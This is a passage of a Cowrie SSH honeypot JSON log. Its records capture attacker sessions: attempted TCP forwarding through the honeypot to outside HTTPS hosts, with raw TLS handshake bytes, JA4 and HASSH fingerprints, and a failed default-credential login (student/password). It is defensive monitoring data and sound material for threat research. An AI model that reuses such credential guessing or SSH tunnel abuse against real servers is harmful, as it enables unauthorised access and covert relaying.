\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbe\\x91'\\x9b\\xeb\\xe9\\xc5\\xa4\\x85\\x0f\\x95\\xc9\\xf6\\xd5\\xd1$&\\x87=\\x1cP\\xfcM7vK\\xb3\\xfe#\\xd39\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xeb\\xc6\\xc8\\x0bc(C.[\\xf3\\xe3\\xcd\\x1e\\x02\\xc1\\xe7\\xee\\x95\\\\\\xd3\\x02\\xcd\\xad\\xa4\\xb3\\x86\\xb6\\x0f\\xb7\\xa9\\x8d\\x83 W%>V\\x19\\xc9\\xc6\\x03G\\t\\x1d\\xc5\\x8c#@~\\xb5\\xa3s\\xf0(\\x1c|\\x12\\xb4d\\xa2\\x9c\\xa5\\x98\\xc6\\x1c\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbe\\x91'\\x9b\\xeb\\xe9\\xc5\\xa4\\x85\\x0f\\x95\\xc9\\xf6\\xd5\\xd1$&\\x87=\\x1cP\\xfcM7vK\\xb3\\xfe#\\xd39\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:46.788462Z","src_ip":"23.148.145.132","session":"a6fac4c3cfa1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:46.810429Z","session":"eabad9fa15a8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:46.856881Z","session":"a6fac4c3cfa1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:46.872207Z","src_ip":"23.148.145.132","session":"a6fac4c3cfa1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9an\\x9ez\\xbc2X=KU\\xa6\\x00l\\x82!k\\xe8C\\x088/\\x9d\\xde\\xb1\\xae\\t\\xab\\xbbB\\xa2\\xc0K \\xbaR\\x1c\\xd1DX\\xc5\\xf3\\xef\\x87C*\\x1b\\xca\\xe0HpK Z6l\\xa9\\xa55\\xc8\\xf2\\x81\\x99\\x01\\xe44\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc7A8\\xe5<[\\x17l\\xc6\\xdb\\x9d\\xbc\\xd1k\\xe6\\x1eJ\\xde>8~\\x11\\xbe\\xb4\\x80\\xcf;$\\xdc\\x0b\\xa3\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9an\\x9ez\\xbc2X=KU\\xa6\\x00l\\x82!k\\xe8C\\x088/\\x9d\\xde\\xb1\\xae\\t\\xab\\xbbB\\xa2\\xc0K \\xbaR\\x1c\\xd1DX\\xc5\\xf3\\xef\\x87C*\\x1b\\xca\\xe0HpK Z6l\\xa9\\xa55\\xc8\\xf2\\x81\\x99\\x01\\xe44\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc7A8\\xe5<[\\x17l\\xc6\\xdb\\x9d\\xbc\\xd1k\\xe6\\x1eJ\\xde>8~\\x11\\xbe\\xb4\\x80\\xcf;$\\xdc\\x0b\\xa3\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:46.875951Z","src_ip":"23.148.145.132","session":"a6fac4c3cfa1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:47.051306Z","src_ip":"123.27.168.40","session":"eabad9fa15a8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x07\\xaf\\xb4\\xc3@\\xc5\\xcc$\\xf1\\xa8JG\\xda^\\x7f\\x95V\\x18\\xa5\\xe9\\xf0Z\\xd2?\\xd2\\xe56.\\xb6\\x9f4\\xff cB\\x1d\\x9aw\\xc6\\xeex-\\x17\\xd7\\xa6\\x94Sb\\xc6\\xd5\\xd6\\xf1b\\xa7\\xd5\\xb35u\\xf3\\xf2\\xb8\\x1d\\x87\\x9c\\xa9\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 ;\\xa7\\xab(\\xb0\\xa1/\\xc5\\xb4_9iQ\\xd5o\\xa6/K\\xe1\\xa6\\x8a\\xcb\\xb0\\xed\\xda\\xa71\\xa8\\xc4\\x05yZ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x07\\xaf\\xb4\\xc3@\\xc5\\xcc$\\xf1\\xa8JG\\xda^\\x7f\\x95V\\x18\\xa5\\xe9\\xf0Z\\xd2?\\xd2\\xe56.\\xb6\\x9f4\\xff cB\\x1d\\x9aw\\xc6\\xeex-\\x17\\xd7\\xa6\\x94Sb\\xc6\\xd5\\xd6\\xf1b\\xa7\\xd5\\xb35u\\xf3\\xf2\\xb8\\x1d\\x87\\x9c\\xa9\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 ;\\xa7\\xab(\\xb0\\xa1/\\xc5\\xb4_9iQ\\xd5o\\xa6/K\\xe1\\xa6\\x8a\\xcb\\xb0\\xed\\xda\\xa71\\xa8\\xc4\\x05yZ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:47.056136Z","src_ip":"123.27.168.40","session":"eabad9fa15a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:47.404388Z","src_ip":"45.153.34.195","session":"58569dbf6762","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:47.431537Z","src_ip":"123.27.168.40","session":"eabad9fa15a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40176,"dst_ip":"10.17.0.5","dst_port":22,"session":"20e342b3d957","protocol":"ssh","message":"New connection: 45.153.34.195:40176 (10.17.0.5:22) [session: 20e342b3d957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:48.420332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:48.431947Z","src_ip":"45.153.34.195","session":"20e342b3d957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:48.518406Z","src_ip":"45.153.34.195","session":"20e342b3d957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:49.071890Z","src_ip":"45.153.34.195","session":"20e342b3d957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38300,"dst_ip":"10.17.0.5","dst_port":22,"session":"0331628bc2e0","protocol":"ssh","message":"New connection: 91.92.40.36:38300 (10.17.0.5:22) [session: 0331628bc2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:49.990385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:50.025465Z","src_ip":"91.92.40.36","session":"0331628bc2e0","protocol":"ssh"}
